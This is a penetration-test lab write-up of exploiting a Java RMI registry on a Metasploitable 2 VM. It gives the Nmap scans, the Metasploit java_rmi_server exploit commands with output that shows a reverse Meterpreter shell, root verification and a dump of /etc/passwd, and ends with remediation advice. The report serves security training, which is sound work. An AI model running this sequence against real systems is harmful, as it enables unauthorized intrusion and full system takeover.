

Exploitation of Java RMI Server Using Nmap and Metasploit

Author: Sudip Bastola

Target System: Metasploitable 2 Linux VM (192.168.83.131)

Attacker Platform: Kali Linux (192.168.83.129)

Assessment Date: July 28, 2026

1. Executive Summary

A penetration test was carried out on the target system within a controlled laboratory environment. The primary objective was to identify network-reachable vulnerabilities and evaluate the extent of access achievable through potential exploitation.

During enumeration, an exposed Java Remote Method Invocation (RMI) registry service running via GNU Classpath grmiregistry was detected on port 1099/tcp. The service was configured with insecure default settings that allow remote class loading. By leveraging the Metasploit Framework, an unauthenticated attacker can exploit this weakness to execute arbitrary Java code remotely and gain an interactive Meterpreter session with full administrative (root) privileges.

Risk Summary Matrix

Metric	Details
Max Risk Rating	CRITICAL (9.8/10.0)
Primary Vulnerability	Unauthenticated Remote Code Execution via Java RMI Default Configuration
CVE ID	CVE-2011-3556 / Insecure RMI Default Configuration
System Compromise	Complete Administrative Takeover (root Access Acquired)
Data Confidentiality	Severely Compromised – Full read access to local system configuration and user shadow files.
System Integrity	Severely Compromised – Full write, modify, and execution rights across the filesystem.

Scope and Methodology

The assessment followed standard penetration testing methodologies spanning five distinct phases:

- Reconnaissance & Host Discovery
- Port Scanning & Service Enumeration
- Exploitation
- Post-Exploitation & Privilege Verification
- Reporting & Remediation

Nmap was utilized for host discovery, port scanning, and service version detection.

Metasploit Framework was used to execute the exploit payload, and standard Linux utility commands were used to verify access and inspect system files during post-exploitation.

Technical Findings and Exploitation Phase

Finding : Java RMI Server Insecure Default Configuration Code Execution

Attribute	Details
Vulnerability Type	Remote Code Execution / Insecure Default Configuration
CVSS v3 Base Score	9.8 Critical
Access Vector	Network (Remote)

Step1. Host Discovery

Identified active hosts on the local network subnet.

Command used: nmap -sn <Target_network>

```
(root@kali)-[/home/sudip]
# nmap -sn 192.168.83.1/24
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-28 20:33 +0545
Nmap scan report for 192.168.83.1
Host is up (0.0044s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.83.2
Host is up (0.00062s latency).
MAC Address: 00:50:56:E8:C0:9E (VMware)
Nmap scan report for 192.168.83.131
Host is up (0.0014s latency).
MAC Address: 00:0C:29:79:6F:6F (VMware)
Nmap scan report for 192.168.83.254
Host is up (0.00059s latency).
MAC Address: 00:50:56:F0:6B:0D (VMware)
Nmap scan report for 192.168.83.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 3.00 seconds
```

Step2. Service Enumeration

Performed service version detection on the targeted host focusing on port 1099.

Command used: nmap -sC -sV -p1099 <Target_ip>

```
(root@kali)-[/home/sudip]
# nmap -sC -sV -p1099 192.168.83.131
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-28 20:34 +0545
Nmap scan report for 192.168.83.131
Host is up (0.00071s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi  GNU Classpath grmiregistry
MAC Address: 00:0C:29:79:6F:6F (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.14 seconds
```

Step3. Exploitation Using Metasploit

Launched Metasploit, located the relevant Java RMI exploit module, configured the target options, and triggered the backdoor execution.

Commands used:

- msfconsole
- search java_rmi
- use exploit/multi/misc/java_rmi_server
- set RHOSTS <Target_Ip>
- Run

```
= [ metasploit v6.4.135-dev ]
-- -- [ 2,654 exploits - 1,338 auxiliary - 2,141 payloads ]
-- -- [ 433 post - 49 encoders - 14 nops - 12 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/gather/java_rmi_registry        .               normal  No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  \ target: Generic (Java Payload)          .               .       .      .
3  \ target: Windows x86 (Native Payload)    .               .       .      .
4  \ target: Linux x86 (Native Payload)       .               .       .      .
5  \ target: Mac OS X PPC (Native Payload)   .               .       .      .
6  \ target: Mac OS X x86 (Native Payload)   .               .       .      .
7  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal  No     Java RMI Server Insecure Endpoint Code Execution Scanner
8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl

msf > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

msf exploit(multi/misc/java_rmi_server) > set rhosts 192.168.83.131
rhosts => 192.168.83.131
msf exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.83.129:4444
[*] 192.168.83.131:1099 - Using URL: http://192.168.83.129:8080/mHo6uFZcEV0ui
[*] 192.168.83.131:1099 - Server started.
[*] 192.168.83.131:1099 - Sending RMI Header...
[*] 192.168.83.131:1099 - Sending RMI Call...
[*] 192.168.83.131:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.83.131
[*] Meterpreter session 1 opened (192.168.83.129:4444 -> 192.168.83.131:41692) at 2026-07-28 20:35:44 +0545
```

Step4. Post-Exploitation and Privilege Verification

Established a system shell session from Meterpreter and confirmed administrative level access (root).

Commands used:

- shell
- whoami
- hostname
- id
- cat /etc/passwd
- ls

```
meterpreter > shell
Process 1 created.
Channel 1 created.
whoami
root
hostname
metasploitable
id
uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ls
FLTI0ktayp
MJhlsTFEn
MtKQrviNn
PHKRvLly
UoORYWyQS
bin
boot
cdrom
dev
etc
home
iHlahWUAvj
initrd
initrd.img
lib
lost+found
mRmNEIWnc
media
mnt
nohup.out
opt
prKRWgkKefCW
proc
rkWgAgIzKuN
root
sbin
srv
sys
tmp
usr
var
```

```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
^X@s$
```

Remediation & Recommendations

To mitigate vulnerabilities associated with insecure Java RMI endpoints, the following steps should be implemented:

Immediate Actions

- **Disable Remote Class Loading:** Ensure Java system property `java.rmi.server.useCodebaseOnly` is set to `true` to prevent the registry from loading classes from arbitrary remote URLs.
- **Network Access Control:** Restrict access to port 1099 using network firewalls or host-based firewall rules ,allowing connections only from authorized management hosts.
- **Service Termination:** If Java RMI is not actively required for business operations, disable or bind the RMI service strictly to the local loopback interface.

Long-term Security Measures

- Implement SSL/TLS authentication and encryption for Java RMI connections.
- Deploy Intrusion Detection and Prevention Systems (IDS/IPS) to monitor and block illegal object deserialization attempts.
- Establish regular automated vulnerability scanning across all internal subnets.

Disclaimer

This assessment was conducted strictly in a controlled, isolated laboratory environment for educational and security testing purposes. Unauthorized testing or exploitation of systems without prior written authorization is illegal and unethical.